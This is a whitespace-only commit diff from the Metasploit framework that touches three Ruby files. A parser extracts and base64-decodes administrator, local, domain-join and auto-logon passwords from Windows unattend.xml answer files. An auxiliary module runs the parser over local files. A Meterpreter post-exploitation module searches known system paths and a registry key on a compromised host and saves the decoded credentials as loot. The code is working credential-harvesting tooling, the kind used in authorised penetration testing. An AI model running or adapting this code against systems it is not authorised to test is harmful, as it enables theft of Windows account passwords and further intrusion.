Retab changes for PR #1770

bug/bundler_fix
Tab Assassin 2013-09-05 14:57:40 -05:00
parent 269c1a26cb
commit 2846a5d680
3 changed files with 316 additions and 316 deletions

View File

@ -12,160 +12,160 @@ module Parser
# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx # Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx
class Unattend class Unattend
require 'rex/text' require 'rex/text'
def self.parse(xml) def self.parse(xml)
return [] if xml.nil? return [] if xml.nil?
results = [] results = []
unattend = xml.elements['unattend'] unattend = xml.elements['unattend']
return [] if unattend.nil? return [] if unattend.nil?
unattend.each_element do |settings| unattend.each_element do |settings|
next if settings.class != REXML::Element next if settings.class != REXML::Element
settings.get_elements('component').each do |c| settings.get_elements('component').each do |c|
next if c.class != REXML::Element next if c.class != REXML::Element
results << extract_useraccounts(c.elements['UserAccounts']) results << extract_useraccounts(c.elements['UserAccounts'])
results << extract_autologon(c.elements['AutoLogon']) results << extract_autologon(c.elements['AutoLogon'])
results << extract_deployment(c.elements['WindowsDeploymentServices']) results << extract_deployment(c.elements['WindowsDeploymentServices'])
results << extract_domain_join(c.elements['Identification/Credentials']) results << extract_domain_join(c.elements['Identification/Credentials'])
end end
end end
return results.flatten return results.flatten
end end
# #
# Extract sensitive data from Deployment Services. # Extract sensitive data from Deployment Services.
# We can only seem to add one <Login> with Windows System Image Manager, so # We can only seem to add one <Login> with Windows System Image Manager, so
# we'll only enum one. # we'll only enum one.
# #
def self.extract_deployment(deployment) def self.extract_deployment(deployment)
return [] if deployment.nil? return [] if deployment.nil?
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false' if plaintext == 'false'
password = Rex::Text.decode_base64(password) password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end end
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
end end
# #
# Extract sensitive data from 'Secure' Domain Join # Extract sensitive data from 'Secure' Domain Join
# #
def self.extract_domain_join(credentials) def self.extract_domain_join(credentials)
return [] if credentials.nil? return [] if credentials.nil?
domain = credentials.elements['Domain'].get_text.value rescue '' domain = credentials.elements['Domain'].get_text.value rescue ''
username = credentials.elements['Username'].get_text.value rescue '' username = credentials.elements['Username'].get_text.value rescue ''
password = credentials.elements['Password'].get_text.value rescue '' password = credentials.elements['Password'].get_text.value rescue ''
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
end end
# #
# Extract sensitive data from AutoLogon # Extract sensitive data from AutoLogon
# #
def self.extract_autologon(auto_logon) def self.extract_autologon(auto_logon)
return [] if auto_logon.nil? return [] if auto_logon.nil?
domain = auto_logon.elements['Domain'].get_text.value rescue '' domain = auto_logon.elements['Domain'].get_text.value rescue ''
username = auto_logon.elements['Username'].get_text.value rescue '' username = auto_logon.elements['Username'].get_text.value rescue ''
password = auto_logon.elements['Password/Value'].get_text.value rescue '' password = auto_logon.elements['Password/Value'].get_text.value rescue ''
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false' if plaintext == 'false'
password = Rex::Text.decode_base64(password) password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end end
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password } return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
end end
# #
# Extract sensitive data from UserAccounts # Extract sensitive data from UserAccounts
# #
def self.extract_useraccounts(user_accounts) def self.extract_useraccounts(user_accounts)
return[] if user_accounts.nil? return[] if user_accounts.nil?
results = [] results = []
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
account_types.each do |t| account_types.each do |t|
element = user_accounts.elements[t] element = user_accounts.elements[t]
next if element.nil? next if element.nil?
case t case t
# #
# Extract the password from AdministratorPasswords # Extract the password from AdministratorPasswords
# #
when account_types[0] when account_types[0]
password = element.elements['Value'].get_text.value rescue '' password = element.elements['Value'].get_text.value rescue ''
plaintext = element.elements['PlainText'].get_text.value rescue 'true' plaintext = element.elements['PlainText'].get_text.value rescue 'true'
if plaintext == 'false' if plaintext == 'false'
password = Rex::Text.decode_base64(password) password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
end end
if not password.empty? if not password.empty?
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
end end
# #
# Extract the sensitive data from DomainAccounts. # Extract the sensitive data from DomainAccounts.
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
# #
when account_types[1] #DomainAccounts when account_types[1] #DomainAccounts
element.elements.each do |account_list| element.elements.each do |account_list|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
results << {'type' => 'domain', 'username' => name, 'group' => group} results << {'type' => 'domain', 'username' => name, 'group' => group}
end end
# #
# Extract the username/password from LocalAccounts # Extract the username/password from LocalAccounts
# #
when account_types[2] #LocalAccounts when account_types[2] #LocalAccounts
element.elements.each do |local| element.elements.each do |local|
password = local.elements['Password/Value'].get_text.value rescue '' password = local.elements['Password/Value'].get_text.value rescue ''
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false' if plaintext == 'false'
password = Rex::Text.decode_base64(password) password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end end
username = local.elements['Name'].get_text.value rescue '' username = local.elements['Name'].get_text.value rescue ''
results << {'type' => 'local', 'username' => username, 'password' => password} results << {'type' => 'local', 'username' => username, 'password' => password}
end end
end end
end end
return results return results
end end
def self.create_table(results) def self.create_table(results)
return nil if results.nil? or results.empty? return nil if results.nil? or results.empty?
table = Rex::Ui::Text::Table.new({ table = Rex::Ui::Text::Table.new({
'Header' => 'Unattend Credentials', 'Header' => 'Unattend Credentials',
'Indent' => 1, 'Indent' => 1,
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
}) })
results.each do |result| results.each do |result|
case result['type'] case result['type']
when 'wds', 'auto', 'domain_join' when 'wds', 'auto', 'domain_join'
table << [result['type'], result['domain'], result['username'], result['password'], ""] table << [result['type'], result['domain'], result['username'], result['password'], ""]
when 'admin', 'local' when 'admin', 'local'
table << [result['type'], "", result['username'], result['password'], ""] table << [result['type'], "", result['username'], result['password'], ""]
when 'domain' when 'domain'
table << [result['type'], "", result['username'], "", result['group']] table << [result['type'], "", result['username'], "", result['group']]
end end
end end
return table return table
end end
end end
end end
end end

View File

@ -10,60 +10,60 @@ require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Auxilliary Parser Windows Unattend Passwords', 'Name' => 'Auxilliary Parser Windows Unattend Passwords',
'Description' => %q{ 'Description' => %q{
This module parses Unattend files in the target directory. This module parses Unattend files in the target directory.
See also: post/windows/gather/enum_unattend See also: post/windows/gather/enum_unattend
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' =>[ 'Author' =>[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
], ],
'References' => 'References' =>
[ [
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
], ],
)) ))
register_options([ register_options([
OptPath.new('PATH', [true, 'Directory or file to parse.']), OptPath.new('PATH', [true, 'Directory or file to parse.']),
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
]) ])
end end
def run def run
if datastore['RECURSIVE'] if datastore['RECURSIVE']
ext = "**/*.xml" ext = "**/*.xml"
else else
ext = "/*.xml" ext = "/*.xml"
end end
if datastore['PATH'].ends_with('.xml') if datastore['PATH'].ends_with('.xml')
filepath = datastore['PATH'] filepath = datastore['PATH']
else else
filepath = File.join(datastore['PATH'], ext) filepath = File.join(datastore['PATH'], ext)
end end
Dir.glob(filepath) do |item| Dir.glob(filepath) do |item|
print_status "Processing #{item}" print_status "Processing #{item}"
file = File.read(item) file = File.read(item)
begin begin
xml = REXML::Document.new(file) xml = REXML::Document.new(file)
rescue REXML::ParseException => e rescue REXML::ParseException => e
print_error("#{item} invalid xml format.") print_error("#{item} invalid xml format.")
vprint_line(e.message) vprint_line(e.message)
next next
end end
results = Rex::Parser::Unattend.parse(xml) results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results) table = Rex::Parser::Unattend.create_table(results)
print_line table.to_s unless table.nil? print_line table.to_s unless table.nil?
print_line print_line
end end
end end
end end

View File

@ -12,167 +12,167 @@ require 'rexml/document'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::File include Msf::Post::File
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Windows Gather Unattended Answer File Enumeration', 'Name' => 'Windows Gather Unattended Answer File Enumeration',
'Description' => %q{ 'Description' => %q{
This module will check the file system for a copy of unattend.xml and/or This module will check the file system for a copy of unattend.xml and/or
autounattend.xml found in Windows Vista, or newer Windows systems. And then autounattend.xml found in Windows Vista, or newer Windows systems. And then
extract sensitive information such as usernames and decoded passwords. extract sensitive information such as usernames and decoded passwords.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Sean Verity <veritysr1980[at]gmail.com>', 'Sean Verity <veritysr1980[at]gmail.com>',
'sinn3r', 'sinn3r',
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
], ],
'References' => 'References' =>
[ [
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
], ],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ] 'SessionTypes' => [ 'meterpreter' ]
)) ))
register_options( register_options(
[ [
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
], self.class) ], self.class)
end end
# #
# Determine if unattend.xml exists or not # Determine if unattend.xml exists or not
# #
def unattend_exists?(xml_path) def unattend_exists?(xml_path)
x = session.fs.file.stat(xml_path) rescue nil x = session.fs.file.stat(xml_path) rescue nil
return !x.nil? return !x.nil?
end end
# #
# Read and parse the XML file # Read and parse the XML file
# #
def load_unattend(xml_path) def load_unattend(xml_path)
print_status("Reading #{xml_path}") print_status("Reading #{xml_path}")
f = session.fs.file.new(xml_path) f = session.fs.file.new(xml_path)
raw = "" raw = ""
until f.eof? until f.eof?
raw << f.read raw << f.read
end end
begin begin
xml = REXML::Document.new(raw) xml = REXML::Document.new(raw)
rescue REXML::ParseException => e rescue REXML::ParseException => e
print_error("Invalid XML format") print_error("Invalid XML format")
vprint_line(e.message) vprint_line(e.message)
return nil, raw return nil, raw
end end
return xml, raw return xml, raw
end end
# #
# Save Rex tables separately # Save Rex tables separately
# #
def save_cred_tables(cred_table) def save_cred_tables(cred_table)
t = cred_table t = cred_table
vprint_line("\n#{t.to_s}\n") vprint_line("\n#{t.to_s}\n")
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
print_status("#{t.header} saved as: #{p}") print_status("#{t.header} saved as: #{p}")
end end
# #
# Save the raw version of unattend.xml # Save the raw version of unattend.xml
# #
def save_raw(xmlpath, data) def save_raw(xmlpath, data)
return if data.empty? return if data.empty?
fname = ::File.basename(xmlpath) fname = ::File.basename(xmlpath)
p = store_loot('windows.unattended.raw', 'text/plain', session, data) p = store_loot('windows.unattended.raw', 'text/plain', session, data)
print_status("Raw version of #{fname} saved as: #{p}") print_status("Raw version of #{fname} saved as: #{p}")
end end
# #
# If we spot a path for the answer file, we should check it out too # If we spot a path for the answer file, we should check it out too
# #
def get_registry_unattend_path def get_registry_unattend_path
# HKLM\System\Setup!UnattendFile # HKLM\System\Setup!UnattendFile
begin begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM') key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
fname = key.query_value('Setup!UnattendFile').data fname = key.query_value('Setup!UnattendFile').data
return fname return fname
rescue Rex::Post::Meterpreter::RequestError rescue Rex::Post::Meterpreter::RequestError
return '' return ''
end end
end end
# #
# Initialize all 7 possible paths for the answer file # Initialize all 7 possible paths for the answer file
# #
def init_paths def init_paths
drive = session.fs.file.expand_path("%SystemDrive%") drive = session.fs.file.expand_path("%SystemDrive%")
files = files =
[ [
'unattend.xml', 'unattend.xml',
'autounattend.xml' 'autounattend.xml'
] ]
target_paths = target_paths =
[ [
"#{drive}\\", "#{drive}\\",
"#{drive}\\Windows\\System32\\sysprep\\", "#{drive}\\Windows\\System32\\sysprep\\",
"#{drive}\\Windows\\panther\\", "#{drive}\\Windows\\panther\\",
"#{drive}\\Windows\\Panther\Unattend\\", "#{drive}\\Windows\\Panther\Unattend\\",
"#{drive}\\Windows\\System32\\" "#{drive}\\Windows\\System32\\"
] ]
paths = [] paths = []
target_paths.each do |p| target_paths.each do |p|
files.each do |f| files.each do |f|
paths << "#{p}#{f}" paths << "#{p}#{f}"
end end
end end
# If there is one for registry, we add it to the list too # If there is one for registry, we add it to the list too
reg_path = get_registry_unattend_path reg_path = get_registry_unattend_path
paths << reg_path if not reg_path.empty? paths << reg_path if not reg_path.empty?
return paths return paths
end end
def run def run
init_paths.each do |xml_path| init_paths.each do |xml_path|
# If unattend.xml doesn't exist, move on to the next one # If unattend.xml doesn't exist, move on to the next one
if not unattend_exists?(xml_path) if not unattend_exists?(xml_path)
vprint_error("#{xml_path} not found") vprint_error("#{xml_path} not found")
next next
end end
xml, raw = load_unattend(xml_path) xml, raw = load_unattend(xml_path)
save_raw(xml_path, raw) save_raw(xml_path, raw)
# XML failed to parse, will not go on from here # XML failed to parse, will not go on from here
return if not xml return if not xml
results = Rex::Parser::Unattend.parse(xml) results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results) table = Rex::Parser::Unattend.create_table(results)
table.print unless table.nil? table.print unless table.nil?
print_line print_line
# Save the data # Save the data
save_cred_tables(table) if not table.nil? save_cred_tables(table) if not table.nil?
return if not datastore['GETALL'] return if not datastore['GETALL']
end end
end end
end end